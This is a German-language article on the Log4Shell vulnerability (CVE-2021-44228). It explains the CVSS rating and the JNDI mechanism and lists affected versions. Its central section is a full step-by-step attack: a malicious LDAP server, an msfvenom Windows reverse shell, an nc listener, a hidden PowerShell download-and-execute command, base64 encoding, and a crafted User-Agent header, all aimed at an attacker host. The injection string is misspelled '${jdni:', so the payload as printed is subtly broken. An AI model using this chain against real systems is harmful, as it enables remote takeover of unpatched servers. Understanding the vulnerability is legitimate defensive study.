CVE-2021-44228

Am 9. Dezember 2021 erfuhr die Welt von einer neuen Sicherheitslücke in Log4J. Der CVSSv3-Score (Common Vulnerability Scoring System) der Schwachstelle wurde mit 10 bewertet, wodurch sie als kritisch eingestuft wird (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

Der zugehörige CVSSv3-Vektor lautet: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

Wir schaffen etwas Klarheit über die Werte, damit der Grund für die Bewertung vollständig verstanden wird:

• AV:N (Attack Vector: Network) : Der Angriffsvektor ist das Netzwerk. Ein betroffenes Gerät ist daher aus der Ferne ausnutzbar.
• AC:L (Attack Complexity: Low) : Die Angriffskomplexität ist niedrig. Der Angriff kann daher auch von einem Angreifer mit geringen Kenntnissen über die Schwachstelle, ihrer Funktionsweise oder mit wenig Erfahrung durchgeführt werden.
• PR:N (Privileged Required: None) : Es sind keinerlei Privilegien innerhalb des Systems erforderlich.
• UI:N (User Interaction: None) : Das System ist auch ohne jegliche Benutzerinteraktion verwundbar.
• S:C (Scope: Changed)
• C:H (Confidentiality: High) : Die Vertraulichkeit der auf der Maschine vorhandenen Informationen ist vollständig kompromittiert. Dies führt zu einem vollständigen Verlust der Geheimhaltung der Daten und zu deren Offenlegung gegenüber dem Angreifer.
• I:H (Integrity: High) : Die Integrität der auf der Maschine gespeicherten Informationen ist vollständig kompromittiert. Ein Angreifer kann beliebige Dateien ändern oder löschen.
• A:H (Availability: High) : Der Angreifer ist in der Lage, den Zugriff auf Informationen oder Dienste der Maschine vollständig zu verweigern.

Was ist Log4J?

Log4J ist eine Java-Bibliothek, die heute Teil des Apache Software Foundation-Projekts ist. Sie ermöglicht es, den Zustand einer Anwendung zu überwachen.

Es ist der De-facto-Standard für das Logging von Java-Anwendungen.

Wie funktioniert es?

Die Schwachstelle basiert auf JNDI (Java Naming and Directory Interface): einer Java-API, die es einer Anwendung ermöglicht, mit einem externen Verzeichnisdienst (z. B. LDAP) zu interagieren.

Die Interaktion erfolgt über die Lookup-Funktion von JNDI, die in den Standardkonfigurationen von Log4J aktiviert ist und die Interaktion mit einem entfernten Server ermöglicht.

TCP-Reverse-Shell per Log4J-Ausnutzung

Ein paar kurze Hinweise zum besseren Verständnis:

• Die IP-Adresse des Angreifer-Rechners ist 10.0.0.1
• Die IP-Adresse des für Log4Shell anfälligen Rechners ist 10.0.0.2
• Das Betriebssystem des anfälligen Rechners ist Windows mit einer x86-Architektur
• Der anfällige Rechner führt eine Webanwendung auf Port 80 aus, die unter der URL http://hackme.com erreichbar ist

❗ ACHTUNG ❗
Die unten beschriebene Angriffstechnik dient ausschließlich dazu, die tatsächliche Gefährlichkeit der betrachteten Schwachstelle zu verstehen. Der Autor distanziert sich von und verurteilt jede missbräuchliche Verwendung des folgenden Artikels.

Das Ziel des folgenden Angriffs ist es, Log4Shell auszunutzen, um eine Reverse Shell auf das anfällige System herunterzuladen und auszuführen und so die vollständige Kontrolle darüber zu erlangen.

1. Konfiguration des Angreifer-Rechners

1. Laden wir das Repository herunter, das den benötigten Code für die Einrichtung eines schädlichen LDAP-Servers enthält

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222

2. Wir erstellen eine TCP-Reverse-Shell für Windows mit msfvenom, um auf Port 8888 den Fernzugriff auf den Rechner zu erhalten

msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe

3. Wir starten mit nc einen Listener auf Port 8888, um die Verbindung der auf dem anfälligen Rechner abgelegten Reverse Shell zu empfangen

nc -lvnp 8888

4. Wir starten einen HTTP-Server, um den Download der Malware vom Zielrechner zu ermöglichen:

python3 -m http.server 4444

5. Mit dem folgenden PowerShell-Befehl kann sich der Angreifer mit seinem HTTP-Server verbinden, die Malware in das Verzeichnis C:\windows\temp herunterladen und ausführen

powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")

5. Wir kodieren das zuvor erstellte Payload mit dem folgenden Befehl in base64

echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

Das Ergebnis des obigen Befehls lautet:

cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. Exploit

1. Nehmen wir an, die Webanwendung protokolliert den User-Agent eines Besuchers. Der Angreifer sendet eine Anfrage ähnlich der folgenden:

GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

2. Die Zeichenkette

${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

wird an Log4J übergeben, das sie interpretiert und über JNDI die Anfrage an den LDAP-Server des Angreifers richtet

ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

3. Die Malware wird heruntergeladen und ausgeführt.

4. Der Angreifer erhält auf Port 8888 eine Shell des Rechners.

Bin ich verwundbar?

Zunächst ist daran zu erinnern, dass diese Schwachstelle NUR Software betrifft, die Java oder eine Java-Variante verwendet (und natürlich Log4J als Logging-Bibliothek).

• 2.0-beta9 - 2.14.1: Die für Log4Shell anfälligen Versionen reichen von 2.0-beta9 bis 2.14.1.
• 2.15.0: Die Version 2.15.0 von Log4J wurde als verwundbar eingestuft. CVE-2021-45046. Derzeit wird die Schwachstelle mit "9.0 Critical" bewertet.
• 2.16.0: Die Version 2.16.0 von Log4J wurde als verwundbar eingestuft. CVE-2021-45105. Derzeit wird die Schwachstelle mit "7.5 High" bewertet.

Die Version 1.x von Log4J ist nicht unmittelbar von der genannten Sicherheitslücke betroffen, wurde jedoch 2015 eingestellt und weist die folgende Schwachstelle auf: CVE-2021-4104.